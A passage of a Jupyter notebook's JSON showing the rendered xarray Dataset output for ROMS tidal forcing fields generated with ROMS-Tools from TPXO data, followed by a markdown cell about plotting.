"\n", ".xr-array-in:checked ~ .xr-array-data,\n", ".xr-array-preview {\n", " display: inline-block;\n", "}\n", "\n", ".xr-dim-list {\n", " display: inline-block !important;\n", " list-style: none;\n", " padding: 0 !important;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list li {\n", " display: inline-block;\n", " padding: 0;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list:before {\n", " content: '(';\n", "}\n", "\n", ".xr-dim-list:after {\n", " content: ')';\n", "}\n", "\n", ".xr-dim-list li:not(:last-child):after {\n", " content: ',';\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-has-index {\n", " font-weight: bold;\n", "}\n", "\n", ".xr-var-list,\n", ".xr-var-item {\n", " display: contents;\n", "}\n", "\n", ".xr-var-item > div,\n", ".xr-var-item label,\n", ".xr-var-item > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-even);\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-var-item > .xr-var-name:hover span {\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-var-list > li:nth-child(odd) > div,\n", ".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-odd);\n", "}\n", "\n", ".xr-var-name {\n", " grid-column: 1;\n", "}\n", "\n", ".xr-var-dims {\n", " grid-column: 2;\n", "}\n", "\n", ".xr-var-dtype {\n", " grid-column: 3;\n", " text-align: right;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-preview {\n", " grid-column: 4;\n", "}\n", "\n", ".xr-index-preview {\n", " grid-column: 2 / 5;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-name,\n", ".xr-var-dims,\n", ".xr-var-dtype,\n", ".xr-preview,\n", ".xr-attrs dt {\n", " white-space: nowrap;\n", " overflow: hidden;\n", " text-overflow: ellipsis;\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-var-name:hover,\n", ".xr-var-dims:hover,\n", ".xr-var-dtype:hover,\n", ".xr-attrs dt:hover {\n", " overflow: visible;\n", " width: auto;\n", " z-index: 1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 3MB\n", "Dimensions: (ntides: 10, eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101)\n", "Coordinates:\n", " omega (ntides) float64 80B dask.array&lt;chunksize=(10,), meta=np.ndarray&gt;\n", "Dimensions without coordinates: ntides, eta_rho, xi_rho, xi_u, eta_v\n", "Data variables:\n", " ssh_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " ssh_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " pot_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " pot_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;\n", " u_Re (ntides, eta_rho, xi_u) float32 412kB dask.array&lt;chunksize=(4, 102, 101), meta=np.ndarray&gt;\n", " u_Im (ntides, eta_rho, xi_u) float32 412kB dask.array&lt;chunksize=(4, 102, 101), meta=np.ndarray&gt;\n", " v_Re (ntides, eta_v, xi_rho) float32 412kB dask.array&lt;chunksize=(4, 101, 102), meta=np.ndarray&gt;\n", " v_Im (ntides, eta_v, xi_rho) float32 412kB dask.array&lt;chunksize=(4, 101, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS tidal forcing created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " source: TPXO\n", " model_reference_date: 2000-01-01 00:00:00\n", " allan_factor: 2.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-b55d7a84-38be-4de1-9d17-f9ca85045386' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-b55d7a84-38be-4de1-9d17-f9ca85045386' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span>ntides</span>: 10</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_v</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-527fdb97-f110-4c38-a9b3-220aa2e6e826' class='xr-section-summary-in' type='checkbox' checked><label for='section-527fdb97-f110-4c38-a9b3-220aa2e6e826' class='xr-section-summary' >Coordinates: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>omega</span></div><div class='xr-var-dims'>(ntides)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(10,), meta=np.ndarray&gt;</div><input id='attrs-8dcd92a2-33c3-43a1-9225-d0edf8ed52ca' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-8dcd92a2-33c3-43a1-9225-d0edf8ed52ca' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b9a5d3a6-2a21-4e1a-8767-7fd753b7f8ed' class='xr-var-data-in' type='checkbox'><label for='data-b9a5d3a6-2a21-4e1a-8767-7fd753b7f8ed' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 80 B </td>\n", " <td> 80 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10,) </td>\n", " <td> (10,) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 3 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float64 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"88\" style=\"stroke:rgb(0,0,0);stroke-width:1\" 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id='section-41f05a04-543f-494a-ae8a-6504e9e132fa' class='xr-section-summary-in' type='checkbox' checked><label for='section-41f05a04-543f-494a-ae8a-6504e9e132fa' class='xr-section-summary' >Data variables: <span>(8)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>ssh_Re</span></div><div class='xr-var-dims'>(ntides, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-87bed57a-e951-43b6-a8eb-e82323caa49c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-87bed57a-e951-43b6-a8eb-e82323caa49c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d428c424-f077-45fe-9a9e-c4e90b16c238' class='xr-var-data-in' type='checkbox'><label for='data-d428c424-f077-45fe-9a9e-c4e90b16c238' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal elevation, real part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 74 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"202\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"32\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"129\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 32.639310257032236,22.639310257032232 32.639310257032236,142.63931025703224 10.0,120.0\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"139\" y2=\"9\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"148\" y2=\"18\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"152\" y2=\"22\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"32\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"130\" y1=\"0\" x2=\"152\" y2=\"22\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 130.0,0.0 152.63931025703224,22.639310257032232 32.639310257032236,22.639310257032232\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"32\" y1=\"22\" x2=\"152\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"32\" y1=\"142\" x2=\"152\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", " <line x1=\"152\" y1=\"22\" x2=\"152\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"32.639310257032236,22.639310257032232 152.63931025703224,22.639310257032232 152.63931025703224,142.63931025703224 32.639310257032236,142.63931025703224\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"92.639310\" y=\"162.639310\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"172.639310\" y=\"82.639310\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,172.639310,82.639310)\">102</text>\n", " <text x=\"11.319655\" y=\"151.319655\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.319655,151.319655)\">10</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ssh_Im</span></div><div class='xr-var-dims'>(ntides, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(4, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-e9cb29dc-03c2-4a8e-8487-a9a0f2865a02' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e9cb29dc-03c2-4a8e-8487-a9a0f2865a02' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-90c66ad7-543e-46a9-9fff-fc3cf320621f' class='xr-var-data-in' type='checkbox'><label for='data-90c66ad7-543e-46a9-9fff-fc3cf320621f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal elevation, complex part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 74 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"202\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"32\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"129\" />\n", " <line x1=\"28\" y1=\"18\" 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repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal potential, real part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 78 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg 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id='attrs-89d8af3b-19f5-42d7-bf5b-514b61dab9b7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-89d8af3b-19f5-42d7-bf5b-514b61dab9b7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5e671743-adc5-435d-9ca1-7d6ff3bb891e' class='xr-var-data-in' type='checkbox'><label for='data-5e671743-adc5-435d-9ca1-7d6ff3bb891e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal potential, complex part</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 406.41 kiB </td>\n", " <td> 162.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 102) </td>\n", " <td> (4, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 78 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"202\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"32\" y2=\"22\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"32\" y2=\"142\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"120\" style=\"stroke-width:2\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"129\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"138\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"142\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal velocity in x-direction, real part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 102, 101) </td>\n", " <td> (4, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 128 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"201\" height=\"192\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines 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for='attrs-74d04300-a29e-4d4b-aaae-0882583204ff' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b97cf324-74bd-46f8-904f-bfcf9e9ca486' class='xr-var-data-in' type='checkbox'><label for='data-b97cf324-74bd-46f8-904f-bfcf9e9ca486' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal velocity in x-direction, complex part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape 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:</span></dt><dd>Tidal velocity in y-direction, real part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 101, 102) </td>\n", " <td> (4, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 3 chunks in 128 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"202\" height=\"191\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ffdffaa4-445b-49f2-acfa-c5a51ae3d11d' class='xr-var-data-in' type='checkbox'><label for='data-ffdffaa4-445b-49f2-acfa-c5a51ae3d11d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Tidal velocity in y-direction, complex part</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 402.42 kiB </td>\n", " <td> 160.97 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (10, 101, 102) </td>\n", " <td> (4, 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</tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-f6d28b25-26e6-44c5-bf1a-d5672fcfb539' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-f6d28b25-26e6-44c5-bf1a-d5672fcfb539' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-46217580-ee36-4935-9a66-ab0a58a62f89' class='xr-section-summary-in' type='checkbox' checked><label for='section-46217580-ee36-4935-9a66-ab0a58a62f89' class='xr-section-summary' >Attributes: <span>(5)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS tidal forcing created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>source :</span></dt><dd>TPXO</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>allan_factor :</span></dt><dd>2.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 3MB\n", "Dimensions: (ntides: 10, eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101)\n", "Coordinates:\n", " omega (ntides) float64 80B dask.array<chunksize=(10,), meta=np.ndarray>\n", "Dimensions without coordinates: ntides, eta_rho, xi_rho, xi_u, eta_v\n", "Data variables:\n", " ssh_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " ssh_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " pot_Re (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " pot_Im (ntides, eta_rho, xi_rho) float32 416kB dask.array<chunksize=(4, 102, 102), meta=np.ndarray>\n", " u_Re (ntides, eta_rho, xi_u) float32 412kB dask.array<chunksize=(4, 102, 101), meta=np.ndarray>\n", " u_Im (ntides, eta_rho, xi_u) float32 412kB dask.array<chunksize=(4, 102, 101), meta=np.ndarray>\n", " v_Re (ntides, eta_v, xi_rho) float32 412kB dask.array<chunksize=(4, 101, 102), meta=np.ndarray>\n", " v_Im (ntides, eta_v, xi_rho) float32 412kB dask.array<chunksize=(4, 101, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS tidal forcing created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " source: TPXO\n", " model_reference_date: 2000-01-01 00:00:00\n", " allan_factor: 2.0" ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "tidal_forcing.ds" ] }, { "cell_type": "markdown", "id": "199dd1c4-dfa5-4026-91ad-861d3e3d16a5", "metadata": {}, "source": [ "We can also plot any of the tidal forcing fields via the `.plot` method." ] }, { "cell_type": "code", "execution_count": 15, "id": "d3da2d92-af45-489c-a563-e994936bb434", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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TTzyBSCTil19+Mdo12aNHD5YvX87bb79NSEgI7u7uDB06FEBfV81U/XSDg4NxcnLiq6++wt7eHltbW/r06VOjNcvQ7xwY/l516NCBwYMH06NHD1xcXDh+/Dhr167l8ccfr3Pepo5xe+utt1iwYAHTp09n1KhRHDhwgF9//ZV33nkHFxcXk+zHggULjcBM2awW6sGYciCCIAjZ2dnC3XffLTg4OAiOjo7C3XffLZw6dapaaYKUlBRh8uTJgpOTk+Do6ChMnz5dSEtLEwDh9ddf169naDkQQRCES5cuCffcc4/g6ekpWFtbCz4+PsL48eOFtWvX6te5uRxIBadOnRKmTJkiuLq6CjKZTGjfvr0wY8YMYdeuXdX2s2PHDgEQRCKRkJycXO15Q49NEAThrbfeEnx8fASxWFzlOG8uB1JxfNOmTROcnJwEuVwu9O7dW/jrr7+qrFNxfGvWrKmyvKYyG5s3b661/EVN237wwQc1Pm/I615cXCw8++yzgpeXl6BQKIT+/fsLhw8fFgYNGlSlzIax5UD27dsnzJ8/X3B2dhbs7OyEuXPnCtnZ2VXWPXjwoNC3b19BoVAI3t7ewvPPPy/8888/1T4HgwYNEjp27Fjj/q5evSqMGzdOsLe3F4Aqc3ZzcxP69u1b53zrGr+m79HGjRuFDh06CFZWVlVej8Z85wTBsPfq7bffFnr37i04OTkJCoVCiIiIEN55550qZVeai2+++UYIDw8XpFKpEBwcLCxdurRK2R4LFiyYD5EgNHF0rgULFqrw/PPPs3LlSi5evNjiW2zdzIoVK5g3bx7Hjh2rVqS1OYmKiqJjx4789ddfFvedBQsW2hSWGDcLFpqZPXv28Oqrr7Y60daS2LNnD/369bOINgsWLLQ5LDFuFiw0M8eOHTP3FFo9CxYsYMGCBeaehgULFiw0OxaLmwULFixYsGDBQivBEuNmwYIFCxYsWLDQSrBY3CxYsGDBggULFloJFuFmwYIFCxYsWLDQSjA4OaG4uLjW5sMWLFiwYMGChcYjlUqRy+XmnoZJaE7dcCu9bvVhkHArLi4mMDCQq1evNvV8LFiwYMGChTaLp6cniYmJrV6EFBcX46qwQ422WfZ3q7xuhmCQcNNoNFy9epXk5GQcHByaek7NysmTJxGLxW2+eXJqairx8fEMGjSoUY29P/74YxYvXswPP/zA1KlTDdqmUFlIpy87kafLq3Ude+x5jMd46f9eavDcAEpLS5k+fTpr167ln3/+YdiwYbf0Fz0qKgpBEOjYsaO5p9JkFBQUcOjQIUaNGtWsTenNRV5eHkeOHGH48OFYWbXdik7x8fFkZmZy++23t7j3vbCwkCeffJIvv/wShUJBZmYmDzzwAJ999hmBgYEUFBTw7LPPsmzZMqZMmcKGDRuwsrJi9erVzJ8/H41G0+rPSxqNBjVa5uKDtImjsjTo+O1q6i3xuhmCUd96BweHW0q45eTkoFQqGTZsGAqFwtzTMSsXLlwgIiICR0fHRo3z2muvcfnyZRYuXEhCQgKvvPJKjYVmBUFg8+bN/PLLL6TL08kLyatz3EIKucpVli5dql/2+uuvGz2/P//8k4kTJwLg7OyMu7u70WO